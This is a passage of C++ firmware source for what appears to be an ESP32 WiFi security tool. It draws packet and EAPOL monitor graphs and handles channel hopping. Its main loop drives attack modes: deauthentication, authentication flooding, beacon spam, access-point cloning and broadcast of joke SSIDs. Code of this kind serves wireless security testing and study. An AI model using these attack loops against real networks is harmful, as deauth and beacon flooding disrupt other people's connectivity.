  2004. else if (b == 6) {
  2005. Serial.println("Exiting packet monitor...");
  2006. this->StartScan(WIFI_SCAN_OFF);
  2007. //display_obj.tft.init();
  2008. this->orient_display = true;
  2009. return;
  2010. }
  2011. }
  2012. }
  2013. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  2014. //Serial.println("-----------------------------------------");
  2015. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2016. x_pos += x_scale;
  2017. initTime = millis();
  2018. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2019. if (y_pos_x >= HEIGHT_1) {
  2020. Serial.println("Max EAPOL number reached. Adjusting...");
  2021. num_eapol = 0;
  2022. }
  2023. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2024. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2025. //Serial.println("num_beacon: " + (String)num_beacon);
  2026. //Serial.println("num_deauth: " + (String)num_deauth);
  2027. //Serial.println(" num_probe: " + (String)num_probe);
  2028. //num_beacon = 0;
  2029. //num_probe = 0;
  2030. //num_deauth = 0;
  2031. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2032. //Plot "X" value
  2033. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  2034. //Plot "Z" value
  2035. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2036. //Plot "Y" value
  2037. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2038. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2039. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2040. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2041. {
  2042. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2043. }
  2044. else
  2045. {
  2046. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2047. }
  2048. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2049. //if (x_pos <= 90)
  2050. if (x_pos < 0) // below x axis
  2051. {
  2052. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2053. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2054. }
  2055. else
  2056. {
  2057. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2058. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2059. }
  2060. //tftDisplayTime();
  2061. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2062. {
  2063. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2064. }
  2065. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2066. //y_pos_y_old = y_pos_y;
  2067. //y_pos_z_old = y_pos_z;
  2068. //delay(50);
  2069. }
  2070. sd_obj.main();
  2071. }
  2072. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2073. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2074. display_obj.tftDrawChannelScaleButtons(set_channel);
  2075. display_obj.tftDrawExitScaleButtons();
  2076. display_obj.tftDrawEapolColorKey();
  2077. display_obj.tftDrawGraphObjects(x_scale);
  2078. }
  2079. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2080. {
  2081. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2082. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2083. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2084. {
  2085. currentTime = millis();
  2086. do_break = false;
  2087. y_pos_x = 0;
  2088. y_pos_y = 0;
  2089. y_pos_z = 0;
  2090. boolean pressed = false;
  2091. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2092. // Do the touch stuff
  2093. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2094. if (pressed) {
  2095. Serial.print("Got touch | X: ");
  2096. Serial.print(t_x);
  2097. Serial.print(" Y: ");
  2098. Serial.println(t_y);
  2099. }
  2100. // Check buttons for presses
  2101. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2102. {
  2103. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2104. {
  2105. display_obj.key[b].press(true);
  2106. } else {
  2107. display_obj.key[b].press(false);
  2108. }
  2109. }
  2110. // Which buttons pressed
  2111. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2112. {
  2113. if (display_obj.key[b].justPressed())
  2114. {
  2115. Serial.println("Bro, key pressed");
  2116. //do_break = true;
  2117. }
  2118. if (display_obj.key[b].justReleased())
  2119. {
  2120. do_break = true;
  2121. // X - button pressed
  2122. if (b == 0) {
  2123. if (x_scale > 1) {
  2124. x_scale--;
  2125. delay(70);
  2126. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2127. display_obj.tftDrawXScaleButtons(x_scale);
  2128. display_obj.tftDrawYScaleButtons(y_scale);
  2129. display_obj.tftDrawChannelScaleButtons(set_channel);
  2130. display_obj.tftDrawExitScaleButtons();
  2131. break;
  2132. }
  2133. }
  2134. // X + button pressed
  2135. else if (b == 1) {
  2136. if (x_scale < 6) {
  2137. x_scale++;
  2138. delay(70);
  2139. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2140. display_obj.tftDrawXScaleButtons(x_scale);
  2141. display_obj.tftDrawYScaleButtons(y_scale);
  2142. display_obj.tftDrawChannelScaleButtons(set_channel);
  2143. display_obj.tftDrawExitScaleButtons();
  2144. break;
  2145. }
  2146. }
  2147. // Y - button pressed
  2148. else if (b == 2) {
  2149. if (y_scale > 1) {
  2150. y_scale--;
  2151. delay(70);
  2152. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2153. display_obj.tftDrawXScaleButtons(x_scale);
  2154. display_obj.tftDrawYScaleButtons(y_scale);
  2155. display_obj.tftDrawChannelScaleButtons(set_channel);
  2156. display_obj.tftDrawExitScaleButtons();
  2157. //updateMidway();
  2158. break;
  2159. }
  2160. }
  2161. // Y + button pressed
  2162. else if (b == 3) {
  2163. if (y_scale < 9) {
  2164. y_scale++;
  2165. delay(70);
  2166. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2167. display_obj.tftDrawXScaleButtons(x_scale);
  2168. display_obj.tftDrawYScaleButtons(y_scale);
  2169. display_obj.tftDrawChannelScaleButtons(set_channel);
  2170. display_obj.tftDrawExitScaleButtons();
  2171. //updateMidway();
  2172. break;
  2173. }
  2174. }
  2175. // Channel - button pressed
  2176. else if (b == 4) {
  2177. if (set_channel > 1) {
  2178. Serial.println("Shit channel down");
  2179. set_channel--;
  2180. delay(70);
  2181. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2182. display_obj.tftDrawXScaleButtons(x_scale);
  2183. display_obj.tftDrawYScaleButtons(y_scale);
  2184. display_obj.tftDrawChannelScaleButtons(set_channel);
  2185. display_obj.tftDrawExitScaleButtons();
  2186. changeChannel();
  2187. break;
  2188. }
  2189. }
  2190. // Channel + button pressed
  2191. else if (b == 5) {
  2192. if (set_channel < MAX_CHANNEL) {
  2193. Serial.println("Shit channel up");
  2194. set_channel++;
  2195. delay(70);
  2196. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2197. display_obj.tftDrawXScaleButtons(x_scale);
  2198. display_obj.tftDrawYScaleButtons(y_scale);
  2199. display_obj.tftDrawChannelScaleButtons(set_channel);
  2200. display_obj.tftDrawExitScaleButtons();
  2201. changeChannel();
  2202. break;
  2203. }
  2204. }
  2205. else if (b == 6) {
  2206. Serial.println("Exiting packet monitor...");
  2207. this->StartScan(WIFI_SCAN_OFF);
  2208. //display_obj.tft.init();
  2209. this->orient_display = true;
  2210. return;
  2211. }
  2212. }
  2213. }
  2214. if (currentTime - initTime >= GRAPH_REFRESH) {
  2215. //Serial.println("-----------------------------------------");
  2216. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2217. x_pos += x_scale;
  2218. initTime = millis();
  2219. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2220. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2221. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2222. //Serial.println("num_beacon: " + (String)num_beacon);
  2223. //Serial.println("num_deauth: " + (String)num_deauth);
  2224. //Serial.println(" num_probe: " + (String)num_probe);
  2225. num_beacon = 0;
  2226. num_probe = 0;
  2227. num_deauth = 0;
  2228. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2229. //Plot "X" value
  2230. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2231. //Plot "Z" value
  2232. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2233. //Plot "Y" value
  2234. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2235. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2236. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2237. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2238. {
  2239. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2240. }
  2241. else
  2242. {
  2243. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2244. }
  2245. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2246. //if (x_pos <= 90)
  2247. if (x_pos < 0) // below x axis
  2248. {
  2249. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2250. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2251. }
  2252. else
  2253. {
  2254. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2255. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2256. }
  2257. //tftDisplayTime();
  2258. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2259. {
  2260. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2261. }
  2262. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2263. y_pos_y_old = y_pos_y;
  2264. y_pos_z_old = y_pos_z;
  2265. //delay(50);
  2266. }
  2267. sd_obj.main();
  2268. }
  2269. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2270. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2271. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2272. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2273. display_obj.tftDrawYScaleButtons(y_scale);
  2274. display_obj.tftDrawChannelScaleButtons(set_channel);
  2275. display_obj.tftDrawExitScaleButtons();
  2276. display_obj.tftDrawColorKey();
  2277. display_obj.tftDrawGraphObjects(x_scale);
  2278. }
  2279. #endif
  2280. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2281. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2282. // showMetadata(snifferPacket, type);
  2283. //}
  2284. void WiFiScan::changeChannel()
  2285. {
  2286. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2287. delay(1);
  2288. }
  2289. // Function to cycle to the next channel
  2290. void WiFiScan::channelHop()
  2291. {
  2292. this->set_channel = this->set_channel + 1;
  2293. if (this->set_channel > 13) {
  2294. this->set_channel = 1;
  2295. }
  2296. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2297. delay(1);
  2298. }
  2299. char* WiFiScan::stringToChar(String string) {
  2300. char buf[string.length() + 1] = {};
  2301. string.toCharArray(buf, string.length() + 1);
  2302. return buf;
  2303. }
  2304. // Function for updating scan status
  2305. void WiFiScan::main(uint32_t currentTime)
  2306. {
  2307. // WiFi operations
  2308. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2309. (currentScanMode == WIFI_SCAN_AP) ||
  2310. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2311. (currentScanMode == WIFI_SCAN_PWN) ||
  2312. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2313. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2314. (currentScanMode == WIFI_SCAN_ALL))
  2315. {
  2316. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2317. {
  2318. initTime = millis();
  2319. channelHop();
  2320. }
  2321. }
  2322. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2323. {
  2324. #ifdef HAS_SCREEN
  2325. packetMonitorMain(currentTime);
  2326. #endif
  2327. }
  2328. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2329. {
  2330. #ifdef HAS_SCREEN
  2331. eapolMonitorMain(currentTime);
  2332. #endif
  2333. }
  2334. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2335. for (int i = 0; i < 55; i++)
  2336. this->sendProbeAttack(currentTime);
  2337. if (currentTime - initTime >= 1000) {
  2338. initTime = millis();
  2339. String displayString = "";
  2340. String displayString2 = "";
  2341. displayString.concat(text18);
  2342. displayString.concat(packets_sent);
  2343. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2344. displayString2.concat(" ");
  2345. #ifdef HAS_SCREEN
  2346. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2347. display_obj.showCenterText(displayString2, 160);
  2348. display_obj.showCenterText(displayString, 160);
  2349. #endif
  2350. packets_sent = 0;
  2351. }
  2352. }
  2353. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2354. for (int i = 0; i < 55; i++)
  2355. this->sendDeauthAttack(currentTime);
  2356. if (currentTime - initTime >= 1000) {
  2357. initTime = millis();
  2358. String displayString = "";
  2359. String displayString2 = "";
  2360. displayString.concat(text18);
  2361. displayString.concat(packets_sent);
  2362. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2363. displayString2.concat(" ");
  2364. #ifdef HAS_SCREEN
  2365. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2366. display_obj.showCenterText(displayString2, 160);
  2367. display_obj.showCenterText(displayString, 160);
  2368. #endif
  2369. packets_sent = 0;
  2370. }
  2371. }
  2372. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2373. // Need this for loop because getTouch causes ~10ms delay
  2374. // which makes beacon spam less effective
  2375. for (int i = 0; i < access_points->size(); i++) {
  2376. if (access_points->get(i).selected)
  2377. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2378. random(256),
  2379. random(256),
  2380. random(256),
  2381. random(256),
  2382. random(256)}});
  2383. }
  2384. if (currentTime - initTime >= 1000)
  2385. {
  2386. initTime = millis();
  2387. //Serial.print("packets/sec: ");
  2388. //Serial.println(packets_sent);
  2389. String displayString = "";
  2390. String displayString2 = "";
  2391. displayString.concat(text18);
  2392. displayString.concat(packets_sent);
  2393. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2394. displayString2.concat(" ");
  2395. #ifdef HAS_SCREEN
  2396. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2397. display_obj.showCenterText(displayString2, 160);
  2398. display_obj.showCenterText(displayString, 160);
  2399. #endif
  2400. packets_sent = 0;
  2401. }
  2402. }
  2403. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2404. {
  2405. // Need this for loop because getTouch causes ~10ms delay
  2406. // which makes beacon spam less effective
  2407. for (int i = 0; i < 55; i++)
  2408. broadcastRandomSSID(currentTime);
  2409. if (currentTime - initTime >= 1000)
  2410. {
  2411. initTime = millis();
  2412. //Serial.print("packets/sec: ");
  2413. //Serial.println(packets_sent);
  2414. String displayString = "";
  2415. String displayString2 = "";
  2416. displayString.concat(text18);
  2417. displayString.concat(packets_sent);
  2418. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2419. displayString2.concat(" ");
  2420. #ifdef HAS_SCREEN
  2421. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2422. display_obj.showCenterText(displayString2, 160);
  2423. display_obj.showCenterText(displayString, 160);
  2424. #endif
  2425. packets_sent = 0;
  2426. }
  2427. }
  2428. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  2429. for (int i = 0; i < ssids->size(); i++)
  2430. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  2431. if (currentTime - initTime >= 1000)
  2432. {
  2433. initTime = millis();
  2434. packets_sent = 0;
  2435. }
  2436. }
  2437. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  2438. for (int i = 0; i < access_points->size(); i++) {
  2439. if (access_points->get(i).selected)
  2440. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  2441. }
  2442. if (currentTime - initTime >= 1000) {
  2443. initTime = millis();
  2444. packets_sent = 0;
  2445. }
  2446. }
  2447. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  2448. {
  2449. // Need this for loop because getTouch causes ~10ms delay
  2450. // which makes beacon spam less effective
  2451. for (int i = 0; i < 7; i++)
  2452. {
  2453. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  2454. {
  2455. broadcastSetSSID(currentTime, rick_roll[x]);
  2456. }
  2457. }
  2458. if (currentTime - initTime >= 1000)
  2459. {
  2460. initTime = millis();
  2461. //Serial.print("packets/sec: ");
  2462. //Serial.println(packets_sent);
  2463. String displayString = "";
  2464. String displayString2 = "";
  2465. displayString.concat(text18);
  2466. displayString.concat(packets_sent);
  2467. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2468. displayString2.concat(" ");
  2469. #ifdef HAS_SCREEN
  2470. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2471. display_obj.showCenterText(displayString2, 160);
  2472. display_obj.showCenterText(displayString, 160);
  2473. #endif
  2474. packets_sent = 0;
  2475. }
  2476. }
  2477. }